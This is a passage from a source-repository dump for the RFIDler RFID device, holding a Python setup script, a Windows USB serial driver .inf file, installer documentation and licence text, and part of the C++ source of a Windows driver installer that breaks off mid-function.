rfidler.command(command)\n        if result:\n            for line in rdata:\n                print(line)\n        else:\n            output('Failed: ' + rdata)\n\n        continue\n\n    sys.exit(0)\n"
  },
  {
    "path": "python/setup.py",
    "content": "from distutils.core import setup, Extension\nfrom RFIDler import __VERSION__\n\npackages= ['RFIDler']\n\nscripts= ['rfidler.py']\n\nsetup  (name        = 'RFIDler',\n        version     = __VERSION__,\n        description = \"RFIDler Software Defined RFID device python wrapper\",\n        author = 'Adam Laurie',\n        author_email = 'adam@apaerurelabs.com',\n        git='https://github.com/AdamLaurie/RFIDler',\n\tpackages= packages,\n        requires_python='>=3.5',\n\tscripts= scripts,\n        install_requires=[\n            'matplotlib',\n            'numpy',\n            'pyserial',\n            ],\n    )\n\n\n# pyserial:\n# https://stackoverflow.com/questions/64383756/has-python-package-serial-been-renamed-to-pyserial\n"
  },
  {
    "path": "windows driver/inf/rfidlercdc.inf",
    "content": ";---------------------------------------------------------------------------------\r\n;Note: When the driver package is signed, any modifications to this .inf file will\r\n;break the signature, and the driver package will need to be re-signed.\r\n;---------------------------------------------------------------------------------\r\n; Modified Windows USB CDC Abstract Control Model Serial Driver Setup File\r\n; Copyright (C) 2012 Microchip Technology Inc.\r\n;\r\n; modified for RFIDler by Adam Laurie, Aperture Labs Ltd. 2014 \r\n\r\n[Version] \r\nSignature=\"$Windows NT$\" \r\nClass=Ports\r\nClassGuid={4D36E978-E325-11CE-BFC1-08002BE10318} \r\nProvider=%MFGNAME% \r\nCatalogFile=%MFGFILENAME%.cat\r\nDriverVer=12/06/2012,5.1.2600.7\r\n\r\n[Manufacturer] \r\n%MFGNAME%=DeviceList,NTamd64\r\n\r\n\r\n;------------------------------------------------------------------------------\r\n;  Vendor and Product ID Definitions\r\n;------------------------------------------------------------------------------\r\n; When developing your USB device, the VID and PID used in the PC side\r\n; application program and the firmware on the microcontroller must match.\r\n; The VID and PID can be changed in the USB device descriptor and on the below \r\n; lines in this file.  If you modify this .inf file to customize it for your\r\n; device, please remove all existing Microchip (VID 0x04D8) entries from\r\n; the device lists.\r\n;------------------------------------------------------------------------------\r\n[DeviceList]\r\n%DESCRIPTION%=DriverInstall,USB\\VID_1D50&PID_6098\r\n\r\n[DeviceList.NTamd64] \r\n%DESCRIPTION%=DriverInstall,USB\\VID_1D50&PID_6098\r\n\r\n\r\n;------------------------------------------------------------------------------\r\n;  Windows 32bit OSes Section\r\n;------------------------------------------------------------------------------\r\n[DriverInstall.nt] \r\ninclude=mdmcpq.inf\r\nCopyFiles=FakeModemCopyFileSection \r\nAddReg=DriverInstall.nt.AddReg \r\n\r\n[DriverInstall.nt.AddReg] \r\nHKR,,DevLoader,,*ntkern \r\nHKR,,NTMPDriver,,%DRIVERFILENAME%.sys \r\nHKR,,EnumPropPages32,,\"MsPorts.dll,SerialPortPropPageProvider\" \r\n\r\n[DriverInstall.NT.Services]\r\ninclude=mdmcpq.inf \r\nAddService=usbser, 0x00000002, LowerFilter_Service_Inst \r\n\r\n\r\n;------------------------------------------------------------------------------\r\n;  Windows 64bit OSes Section\r\n;------------------------------------------------------------------------------\r\n[DriverInstall.NTamd64]\r\ninclude=mdmcpq.inf\r\nCopyFiles=FakeModemCopyFileSection\r\nAddReg=DriverInstall.NTamd64.AddReg \r\n\r\n[DriverInstall.NTamd64.AddReg] \r\nHKR,,DevLoader,,*ntkern \r\nHKR,,NTMPDriver,,%DRIVERFILENAME%.sys \r\nHKR,,EnumPropPages32,,\"MsPorts.dll,SerialPortPropPageProvider\" \r\n\r\n[DriverInstall.NTamd64.Services] \r\ninclude=mdmcpq.inf \r\nAddService=usbser, 0x00000002, LowerFilter_Service_Inst \r\n\r\n\r\n;------------------------------------------------------------------------------\r\n;  Common Sections\r\n;------------------------------------------------------------------------------\r\n[DestinationDirs] \r\nDefaultDestDir=12 \r\n\r\n[SourceDisksNames]\r\n\r\n[SourceDisksFiles]\r\n\r\n[FakeModemCopyFileSection]\r\n\r\n[LowerFilter_Service_Inst]\r\nDisplayName= %SERVICE%\r\nServiceType= 1\r\nStartType  = 3\r\nErrorControl = 0\r\nServiceBinary = %12%\\usbser.sys\r\n\r\n\r\n;------------------------------------------------------------------------------\r\n;  String Definitions\r\n;------------------------------------------------------------------------------\r\n; These strings can be modified to customize your device\r\n;------------------------------------------------------------------------------\r\n[Strings]\r\nMFGFILENAME=\"rfidlercdc\"\r\nDRIVERFILENAME =\"usbser\"\r\nMFGNAME=\"Aperture Labs Ltd.\"   ;This name shows up in the device manager properties for the device\r\nDESCRIPTION=\"USB Serial Port\"          ;This is the \"friendly name\" that shows up in the device manager\r\nSERVICE=\"USB to Serial Driver\"\r\n\r\n\r\n"
  },
  {
    "path": "windows driver/rfidler-install.txt",
    "content": "RFIDler LF appears to the computer as a USB serial port, and works with a standard \nWindows driver for USB serial ports, usbser.sys.\n\nA simple driver information file rfidlercdc.inf tells Windows which driver to use, and \nsuch details as manufacturer (Aperture Labs Ltd) and product names (RFIDler LF).\n\nThis installer provides a simple interface to install or uninstall this file. (Note that \ncomplete uninstall only works on Windows XP, as Windows Vista & 7 keep a private copy.)\n\nAlternatively to using the installer you can connect your RFIDler LF, find it in Windows \nDevice Manager (via the Control Panel) and update the driver there. This program needs \nto run as local Administrator in order to copy files to, or remove files from, Windows \nprotected directories.\n\nTwo versions of the installer are supplied: rfidlerinstall-x86.exe for 32-bit versions of \nWindows XP to Windows 7, and rfidlerinstall-x64.exe for 64-bit versions of Windows on x64 \nCPUs.\n\nCopyright (c) 2014 Anthony Naggs, all rights reserved.\n\nLimited assignment of rights under the 'BSD 2-Clause License':\n\nRedistribution and use in source and binary forms, with or without modification, are \npermitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this list of\n   conditions and the following disclaimer.\n\n2. Redistributions in binary form must reproduce the above copyright notice, this list\n   list of conditions and the following disclaimer in the documentation and/or other\n   materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY \nEXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES \nOF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT \nSHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, \nINCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED \nTO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, ORPROFITS; OR \nBUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN \nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN \nANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH \nDAMAGE.\n"
  },
  {
    "path": "windows-src/COPYING.txt",
    "content": "Project 1:  Windows RFIDler Driver Install\n            Graphical interface to install driver .inf & .cat files\n            for Aperture Labs RFIDler LF.\n\nProject 2:\tRFIDler Monitor\n            Graphical monitor that lists which USB ports an RFIDler is \n            currently connected to, and watches for changes.\n\t\t\tAlso watches for devices connected running Microchip HID Bootloader\n\t\t\t(potentially an RFIDler waiting to be programmed), and other \n\t\t\tcategories of serial port.\n            Tool for Aperture Labs RFIDler LF.\n\n\nAuthor: Anthony Naggs, 2014\n\nCopyright (c) 2014 Anthony Naggs.\nAll rights reserved.\n\nLimited assignment of rights under the 'BSD 2-Clause License':\n\nRedistribution and use in source and binary forms, with or without modification, are\npermitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this list of\n    conditions and the following disclaimer.\n\n2. Redistributions in binary form must reproduce the above copyright notice, this list\n    of conditions and the following disclaimer in the documentation and/or other materials\n    provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\nEXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL\nTHE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\nOF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\nHOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR\nTORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\nEVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n"
  },
  {
    "path": "windows-src/RFIDler-install/rfidinstall.cpp",
    "content": "/*\n    Project: Windows RFIDler Driver Install v0.3.1\n             Graphical interface to install driver .inf & .cat files\n             for Aperture Labs RFIDler LF.\n\n    File: rfidinstall.cpp (renamed from rfidinstall.c)\n\n    Author: Anthony Naggs, 2014-2015\n\n    Copyright (c) 2014-2015 Anthony Naggs.\n    All rights reserved.\n\n    Limited assignment of rights under the 'BSD 2-Clause License':\n\n    Redistribution and use in source and binary forms, with or without modification, are\n    permitted provided that the following conditions are met:\n\n    1. Redistributions of source code must retain the above copyright notice, this list of\n       conditions and the following disclaimer.\n\n    2. Redistributions in binary form must reproduce the above copyright notice, this list\n       of conditions and the following disclaimer in the documentation and/or other materials\n       provided with the distribution.\n\n    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n    EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL\n    THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n    SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n    OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n    HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR\n    TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n    EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n\n/* vvvvvv IMPORTANT BUILD NOTES vvvvvv\n\n   Release build requires user to be local administrator in order to install/uninstall drivers.\n   Also you must run correct bitness of binary for your Windows, x86 for 32-bit Windows on Intel x86\n   or compatible processors, x64 for 64-bit Windows on AMD x64 or compatible processors.\n   (This is due to Windows requirements, where important system data on 64-bit Windows is hidden\n   from 32-bit applications.)\n\n   Debug build requires Administrator rights only for actual install/uninstall actions, so\n   the 'Need Admin rights' setting may be reconfigured from time to time.\n   Note that to debug a program running as Administrator require a debugger that is running\n   as Administrator too.\n\n   win-compat.manifest must be included in the build, it proclaims that the installer is compatible\n   with Windows Vista & Windows 7. It is needed for some install/uninstall behaviour, including\n   to stop the Program Compatability Assistant (PCA) from appearing or interferring.\n   Some older versions of the manifest tools warn about '81010002 Unrecognized Element \"compatibility\"'\n   this is fine, and just means the tools are a little old. (Microsoft claim to have a hotfix for this\n   http://support.microsoft.com/kb/2670561 but do not have a functioning way to actually obtain the fix.)\n\n   ^^^^^^ IMPORTANT BUILD NOTES ^^^^^^\n*/\n\n\n\n#define UNICODE\n#define _UNICODE\n\n#include <Windows.h>\n#include <ShlObj.h>\n#include <ShObjIdl.h>\n\n#include <tchar.h>\n#include <assert.h>\n#include <SetupAPI.h>\n#include <Cfgmgr32.h>\n#include <CommCtrl.h>\n#include <CommDlg.h>\n#include <newdev.h>\n#include <RegStr.h>\n#include <devguid.h>\n#include <Uxtheme.h>\n#include <vssym32.h>\n#include <strsafe.h>\n\n#include \"resource.h\"\n\n\n/*\n * This program needs to be linked with these libraries:\n * NB if any are missing from Windows SDK the Windows Driver Kit is required.\n */\n#pragma comment(lib, \"ComCtl32.lib\")\n#pragma comment(lib, \"SetupAPI.lib\")\n#pragma comment(lib, \"newdev.lib\")\n// NB Cfgmgr32.lib is in the Windows Developer Kit / Driver Development Kit not the SDK\n#pragma comment(lib, \"Cfgmgr32.lib\")\n#pragma comment(lib, \"uxtheme.lib\")\n#pragma comment(lib, \"version.lib\")\n\n\n/* enable use of \"Visual Styles\" */\n#pragma comment(linker,\"\\\"/manifestdependency:type='win32' \\\nname='Microsoft.Windows.Common-Controls' version='6.0.0.0' \\\nprocessorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\\\"\")\n\n\n/*\n Windows NT (Win 32 API) applications run on all 32 & 64 bit versions\n of Windows XP and later, and on a x86, x64 or IA64 CPU.\n\n However installing device drivers requires an installer for the\n specific CPU. (Requirement is to ensure Windows-on-Windows layer\n is not messing around with Windows directory path names, and\n therefore causing installation to go to the wrong directory.)\n\n Hence this tool can be built different CPUs, currently Intel x86 and AMD64\n\n Note Windows RT (running on ARM) is not supported (at the moment):\n I don't have tools to build for Windows RT, the installer UI is not Metro,\n and I don't have Windows RT hardware to test with.\n */\n#if defined(_M_AMD64)\n// AMD / Intel 64 bit version of x86 => Win 64\nstatic const wchar_t *szAppName = L\"RFIDler LF Driver Install - x64\";\n#elif defined(_M_IA64)\n// HP / Intel Itanium (IA64) => Win 64\n// Note that the last version of tools to support IA64 was MS Visual Studio 2010.\nstatic const wchar_t *szAppName = L\"RFIDler LF Driver Install - Itanium\";\n#error Itanium build not tested\n#elif defined(_M_IX86)\n// Intel x86 => Win 32\nstatic const wchar_t *szAppName = L\"RFIDler LF Driver Install - x86\";\n#elif defined(_M_ARM)\n#error ARM cpu build not currently supported\n#else\n#error build not supported\n#endif\n\n\n// details specific to RFIDler\n#define RFIDLER_INF_NAME        L\"rfidlercdc.inf\"\nstatic const wchar_t *szRfidlerInfName = RFIDLER_INF_NAME;\nstatic const wchar_t *szRfidlerHardwareId = L\"USB\\\\VID_1D50&PID_6098\";\n\n// name of AMD64 version of installer\n#define RFIDLER_INSTALLER64_NAME    L\"rfidlerinstall-x64.exe\"\nstatic const wchar_t *szRfidlerInstallerX64 = RFIDLER_INSTALLER64_NAME;\n\n// key to install update messages\nenum installUpdates {\n    UPDATE_COPIED,\n    UPDATE_CONNECTED,\n    UPDATE_PREVIOUS,\n};\n\n// key to uninstall driver messages\nenum infUninstalUpdate {\n    INF_NOT_FOUND,\n    INF_IN_USE, // connected Rfidler\n    INF_UNINSTALL_FAIL,\n    INF_UNINSTALL_SUCCESS,\n};\n\n// action for each enumerated RFIDler\nenum UpdateAction {\n    MarkNotPresentRfidlersForReinstall,\n    UninstallAllRfidlers,\n    UninstallNotPresentRfidlers,\n    DebugLogDevice,                     // debug aid\n};\n\n// tests to try on Windows Version Info\nenum WinVersion {\n    WinAtLeastXP,\n    WinAtLeastVista,\n    WinAtLeast7,\n    WinAtLeast8,\n    WinAtLeast10,\n};\n\n// config & result info for install / uninstall thread\ntypedef struct {\n    BOOL    rebootRequired;         // out: reboot required\n    int     uninstallType;          // in: button Id for uninstall action\n    wchar_t *infpath;               // in: full path & filename for installing .inf file\n    DWORD   insError;               // out: Windows error code for function that failed\n    HWND    hWndMain;               // in: main Installer window\n    BOOL    devConnected;           // out: whether any Rfidlers were found during install\n} InstallInfo;\n\nenum ProgBarState {     // control the progress bar state\n    PROG_START,\n    PROG_ERROR,\n    PROG_COMPLETE,\n    PROG_HIDE,\n    PROG_MAX            // for test button\n};\n\n\nvoid MoveMainWindow(HWND hWnd, HINSTANCE hInst);\nINT_PTR CALLBACK InstallerDlgProc(HWND hWnd, UINT iMsg, WPARAM wParam, LPARAM lParam);\nBOOL LaunchInstallOrUninstall(BOOL installAction, HWND hWnd, HWND hWndStatus, HWND hWndProg, ITaskbarList3* pTbList, InstallInfo *pInsInfo, int wID);\nvoid StartOrStopProgressMarquee(HWND hWnd, HWND hWndProgBar, ITaskbarList3* pTbList, ProgBarState pbState);\nvoid EnableAndFocusOnFinishButton(HWND hWnd);\nvoid FormatTitleWithVersion(HWND hDlg, const wchar_t *title);\nINT_PTR CALLBACK AboutDlgProc(HWND hWnd, UINT iMsg, WPARAM wParam, LPARAM lParam);\nUINT_PTR CALLBACK OFNHookCheckFilenameProc(HWND hdlg, UINT uiMsg, WPARAM wParam, LPARAM lParam);\n\nvoid ReportStatus(HWND hWndStatus, const wchar_t *format, ...);\nATOM RegisterMainWindow (HINSTANCE hInstance);\nBOOL FindInfPath(HWND hWnd, wchar_t **aPath);\nBOOL GetProgramFilename(wchar_t **fname);\nBOOL IsSafeToInstall(DWORD dwTimeout);\nDWORD WINAPI DriverInstallThreadProc(LPVOID lpParameter);\nDWORD WINAPI DriverUninstallThreadProc(LPVOID lpParameter);\nBOOL UserSearchForInfFile(HWND hWnd, wchar_t **aPath, wchar_t *aInitialPath);\nBOOL UpdateDriverWithAction(InstallInfo *pInsInfo, const GUID *classGuid, enum UpdateAction action);\nBOOL CheckHardwareIdMatch(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA *pDeviceInfoData, const wchar_t *szHardwareId);\nvoid MarkDeviceConfigForReinstall(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA *pDeviceInfoData);\nvoid RemoveRfidlerDevice(InstallInfo *pInsInfo, HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA *pDeviceInfoData);\nBOOL TestFileNameAndPath(const wchar_t *basePath, const wchar_t *fileName, wchar_t **outPath, const wchar_t **subDirList);\n//wchar_t *GetWinDir();\nwchar_t *FindInstalledInf(HWND hWndMain);\nvoid TrimDirectoryLevel(wchar_t *namebuff, size_t dirLen);\nBOOL TestPathAndFileNameHelper(wchar_t *namebuff, size_t newsz, const wchar_t *basePath, const wchar_t *fileName, const wchar_t *subdir);\n\n#if !defined(_WIN64)\nBOOL IsWow64();\nBOOL IsSystemAMD64();\n#endif\nBOOL CheckWindowsVersion(enum WinVersion);\n\n#if defined(_DEBUG)\nstatic void PrintDebugStatus(const wchar_t *format, ...);\n#endif\n\n\n// private internal WM_ notifications\n#define WM_PRIVATE_UNINSTALL_INF        (WM_APP + 424)\n#define WM_PRIVATE_UNINSTALL_COMPORT    (WM_APP + 425)\n#define WM_PRIVATE_UPDATE_PROGRESS      (WM_APP + 426)\n#define WM_PRIVATE_UPDATE_COMPLETE      (WM_APP + 427)\n#define WM_PRIVATE_UNINSTALL_COMPLETE   (WM_APP + 428)\n\n\n/* real code begins here ... */\n\nint WINAPI WinMain (\n    HINSTANCE hInstance,\n    HINSTANCE hPrevInstance,\n    PSTR szCmdLine,\n    int iCmdShow\n)\n{\n    ATOM ClassId;\n    INITCOMMONCONTROLSEX ccInit;\n\n    // remove unreferenced parameter warnings\n    hPrevInstance;\n    szCmdLine;\n    iCmdShow;\n\n    /* Initialisation */\n    ClassId = RegisterMainWindow (hInstance);\n\n    if (!ClassId) {\n        MessageBox(NULL, L\"Unable to create main window\", szAppName, MB_OK | MB_ICONWARNING);\n        return 3;\n    }\n\n    // we use the progress bar from 'Common Controls'\n    ZeroMemory(&ccInit, sizeof(ccInit));\n    ccInit.dwSize = sizeof(ccInit);\n    ccInit.dwICC = ICC_WIN95_CLASSES;\n    InitCommonControlsEx(&ccInit);\n\n    // simply use DialogBox to show window\n    return (int) DialogBoxParam (hInstance, MAKEINTRESOURCE(IDD_INSTALL), 0, InstallerDlgProc, (LPARAM) hInstance);\n}   /* WinMain() */\n\n\n\nATOM RegisterMainWindow (HINSTANCE hInstance)\n{\n    WNDCLASSEX\tWndClass;\n\n    WndClass.cbSize        = sizeof (WndClass);\n    WndClass.style         = CS_HREDRAW | CS_VREDRAW;\n    WndClass.lpfnWndProc   = DefDlgProc;\t\t//MainWndProc;\n    WndClass.cbClsExtra    = 0;\n    WndClass.cbWndExtra    = DLGWINDOWEXTRA;\n    WndClass.hInstance     = hInstance;\n    WndClass.hIcon         = LoadIcon (hInstance, MAKEINTRESOURCE(IDI_RFIDINSTALL));\n    WndClass.hCursor       = LoadCursor (NULL, IDC_ARROW);\n    WndClass.hbrBackground = (HBRUSH) GetStockObject (LTGRAY_BRUSH);\n    WndClass.lpszMenuName  = NULL;\n    WndClass.lpszClassName = L\"RFIDinstall\";\n    WndClass.hIconSm       = NULL;\n\n    return RegisterClassEx (&WndClass);\n}   /* RegisterMainWindow() */\n\n\n\n// printf formatted messages to report area of installer's window\nvoid ReportStatus(HWND hWndStatus, const wchar_t *format, ...)\n{\n    HRESULT hr;\n    static wchar_t msgbuff[1024];\n    va_list argptr;\n    va_start(argptr, format);\n\n    hr = StringCbVPrintf(msgbuff, sizeof(msgbuff), format, argptr);\n    if (SUCCEEDED(hr)) {\n        SendMessage (hWndStatus, LB_ADDSTRING, 0, (LPARAM) msgbuff);\n    }\n}\n\n\n#if defined(_DEBUG)\n// printf formatted messages to debug port\nvoid PrintDebugStatus(const wchar_t *format, ...)\n{\n    HRESULT hr;\n    static wchar_t msgbuff[1024];\n    va_list argptr;\n    va_start(argptr, format);\n\n    hr = StringCbVPrintf(msgbuff, sizeof(msgbuff), format, argptr);\n    if (SUCCEEDED(hr)) {\n        OutputDebugString(msgbuff);\n    }\n}\n#endif\n\n\nvoid MoveMainWindow(HWND hWnd, HINSTANCE hInst)\n{\n    RECT rc;\n\n    // find out where CW_USEDEFAULT would place new window (not available for dialogs)\n    if (GetWindowRect(hWnd, &rc)) {\n        // make invisible window the same size as this, positioned with CW_USEDEFAULT\n        // NB need to reference a valid Window class\n        HWND hW = CreateWindow(L\"RFIDinstall\", L\"Invisible Window\", WS_OVERLAPPEDWINDOW,\n            CW_USEDEFAULT, CW_USEDEFAULT, rc.right - rc.left, rc.bottom - rc.top,\n            NULL, NULL, hInst, NULL);\n        if (hW) {\n            RECT rc2;\n\n            if (GetWindowRect(hW, &rc2)) {\n                // move program window to this location\n                SetWindowPos(hWnd, HWND_TOP, rc2.left, rc2.top, 0, 0, SWP_NOSIZE);\n            }\n            // cleanup\n            DestroyWindow(hW);\n        }\n    }\n}\n\n\nINT_PTR CALLBACK InstallerDlgProc(HWND hWnd, UINT iMsg, WPARAM wParam, LPARAM lParam)\n{\n    /* statics to keep state between Windows messages */\n    static HINSTANCE  hInst = 0;\n    static HWND     hWndStatus; // control to log status messages to\n    static HWND     hRebootButton;\n    static HWND     hWndProg;   // progress bar\n    static BOOL     isWow64 = FALSE;\n    static BOOL     installing = FALSE; // set if install or uninstall background thread is running\n    static BOOL     allowInstall = FALSE;\n    static UINT     TbCreatedNotification = 0;\n    static ITaskbarList3* pTbList = NULL;\n    /* struct to pass to installer/uninstaller thread */\n    static InstallInfo     insInfo = { FALSE, 0, NULL, ERROR_SUCCESS, NULL, FALSE };\n\n#if !defined(_WIN64)\n    const int KWow64TimerMagicNumber = 76;\n#endif\n\n    /* locals */\n    int  handled = 0;\n\n    lParam; // suppress unreferenced parameter warnings in release build\n\n    switch (iMsg) {\n    case WM_INITDIALOG:\t/* from CreateDialog() */\n        hInst = (HINSTANCE) lParam;\n        hWndStatus = GetDlgItem(hWnd, IDC_STATUS);\n        hRebootButton = GetDlgItem(hWnd, IDC_REBOOT);\n        hWndProg = GetDlgItem(hWnd, IDC_INST_PROGRESS);\n        SetWindowText(hWnd, szAppName);\n        insInfo.hWndMain = hWnd;\n        insInfo.uninstallType = 0;\n#if defined(_DEBUG)\n        ShowWindow(GetDlgItem(hWnd, IDC_TESTBUTTON), SW_NORMAL);\n#endif\n\n        // check Windows version; set appropriate text for IDC_WINVER_EXPLAIN and enable/disable buttons\n        // for reference old static text said \"Drivers for RFIDler LF to be recognised as a serial (COM) port can install in Windows XP, Vista or 7, but in any case require Windows to accept unsigned drivers.\"\n        if (CheckWindowsVersion(WinAtLeast10)) {\n            allowInstall = FALSE;\n            SetWindowText(GetDlgItem(hWnd, IDC_WINVER_EXPLAIN),\n                L\"Windows 10 supports RFIDler LF without needing to install the\" RFIDLER_INF_NAME L\" file.\");\n        } else if (CheckWindowsVersion(WinAtLeast8)) {\n            allowInstall = FALSE;\n            SetWindowText(GetDlgItem(hWnd, IDC_WINVER_EXPLAIN),\n                L\"Windows 8.x is not supported at this time, as it requires \" RFIDLER_INF_NAME L\" to have a Microsoft approved signature, although we just ask to use Microsoft's own usbser driver.\");\n        } else if (CheckWindowsVersion(WinAtLeastVista)) {\n            allowInstall = TRUE;\n            SetWindowText(GetDlgItem(hWnd, IDC_WINVER_EXPLAIN),\n                L\"Windows Vista or 7 need to be configured to accept unsigned drivers in order to accept our \" RFIDLER_INF_NAME L\" file.\");\n        } else { // Win XP\n            allowInstall = TRUE;\n            SetWindowText(GetDlgItem(hWnd, IDC_WINVER_EXPLAIN),\n                L\"Windows XP requires our \" RFIDLER_INF_NAME L\" file to be installed, it simnply directs Windows to use Microsoft's own usbser driver.\");\n        }\n\n        // driver install /uninstall is supported?\n        EnableWindow(GetDlgItem(hWnd, IDC_INSTALL), allowInstall);\n        EnableWindow(GetDlgItem(hWnd, IDC_UNINSTALLDRIVER), allowInstall);\n\n        // Check for Windows >= 7\n        if (CheckWindowsVersion(WinAtLeast7)) {\n            TbCreatedNotification = RegisterWindowMessage(L\"TaskbarButtonCreated\");\n            if (TbCreatedNotification) {\n                // obscurely documented secret sauce to actually get the notification\n                ChangeWindowMessageFilterEx(hWnd, TbCreatedNotification, MSGFLT_ALLOW, NULL);\n            }\n        }\n\n#if !defined(_WIN64)\n        // catch Win32 Installer running on Win x64\n        isWow64 = IsWow64();\n        if (isWow64) {\n            ReportStatus(hWndStatus, L\"Security error: 32-bit Installer does work on 64-bit Windows\");\n            EnableWindow(GetDlgItem(hWnd, IDC_INSTALL), FALSE);\n            EnableWindow(GetDlgItem(hWnd, IDC_UNINSTALL_NOT_PRESENT), FALSE);\n            EnableWindow(GetDlgItem(hWnd, IDC_UNINSTALL_ALL_RFIDLERS), FALSE);\n            EnableWindow(GetDlgItem(hWnd, IDC_UNINSTALLDRIVER), FALSE);\n\n            // wait until after window is drawn to display error in a MessageBox\n            SetTimer(hWnd, KWow64TimerMagicNumber, 500, NULL);\n        }\n#endif\n\n        // simulate CW_USEDEFAULT positioning\n        MoveMainWindow(hWnd, hInst);\n\n        // return TRUE unless you set the focus to a control\n        return TRUE;\n\n#if !defined(_WIN64)\n    case WM_TIMER:\n        // running Win32 installer on Windows x64 => MessageBox & then (non-debug build only) Quit \n        if ((wParam == KWow64TimerMagicNumber) && isWow64) {\n            BOOL  isAMD64 = IsSystemAMD64();\n            UINT  mbflags = MB_OK;\n            wchar_t errorText[1024];\n            wchar_t *errorTitle = L\"Incompatible version of RFIDler Installer\";\n\n            // kill one-shot timer\n            KillTimer(hWnd, wParam);\n\n            // compose message depending if system is AMD64\n            StringCbPrintf(errorText, sizeof(errorText),\n                L\"This (32-bit) Installer version is not allowed to change your (64-bit) system.\\n\\n\"\n                // NB %s below\n                L\"%sithout the installer you can:\\n\"\n                L\"1. connect your RFIDler LF,\\n\"\n                L\"2. wait for driver install to fail,\\n\"\n                L\"3. find the RFIDler in the Windows Device Manager\\n\"\n                L\"4. update the driver there.\\n\"\n                L\"(Install can fail due to Signed Driver policy settings,\"\n                L\"see Help About text for more details.)\",\n\n                isAMD64 ? L\"For AMD or Intel x64 sytems you can run \" RFIDLER_INSTALLER64_NAME L\" instead.\\n\\nAlternatively w\"\n                : L\"W\" );\n\n            MessageBox(hWndStatus, errorText, errorTitle, MB_ICONERROR | mbflags);\n#if !defined(_DEBUG)\n            // close this installer instance\n            PostQuitMessage (0);\n#endif\n\n            handled++;\n        }\n        break;\n#endif\n\n    case WM_DESTROY: /* exit */\n        PostQuitMessage (0);\n        handled++;\n        if (pTbList) {\n            pTbList->Release();\n            pTbList = NULL;\n        }\n        break;\n\n    case WM_COMMAND: // handle button, menu selections, ...\n        {\n            int wID = LOWORD (wParam);\n            int wNotification = HIWORD(wParam);\n            BOOL    installAction = FALSE;\n\n#if defined(_DEBUG)\n            HWND hChild = (HWND) lParam;\n            PrintDebugStatus(L\"wID %i  wNotification %i  hChild %p\\n\", wID, wNotification, hChild);\n#endif\n\n            if (wNotification == BN_CLICKED) {\n                switch (wID) {\n                case IDC_INSTALL:\n                    if (allowInstall) {\n                        installing = LaunchInstallOrUninstall(TRUE, hWnd, hWndStatus, hWndProg, pTbList, &insInfo, wID);\n                    }\n                    handled++;\n                    break;\n\n                case IDC_UNINSTALL_ALL_RFIDLERS:\n                case IDC_UNINSTALL_NOT_PRESENT:\n                    installing = LaunchInstallOrUninstall(FALSE, hWnd, hWndStatus, hWndProg, pTbList, &insInfo, wID);\n                    handled++;\n                    break;\n\n                case IDC_UNINSTALLDRIVER:\n                    if (allowInstall) {\n                        installing = LaunchInstallOrUninstall(FALSE, hWnd, hWndStatus, hWndProg, pTbList, &insInfo, wID);\n                    }\n                    handled++;\n                    break;\n\n                case IDC_REBOOT:\n                        // unlikely that this is needed for RFIDler, nevertheless ..\n                        //\n                        // attempt reboot - inform system that this is planned hardware install\n                        //\n                        // warning 28159 is a warning to rearchitect to avoid rebooting.  However,\n                        // sometimes during device installation, a reboot is needed, so this warning\n                        // is being suppressed for the call to InitiateSystemShutdownEx.\n#if 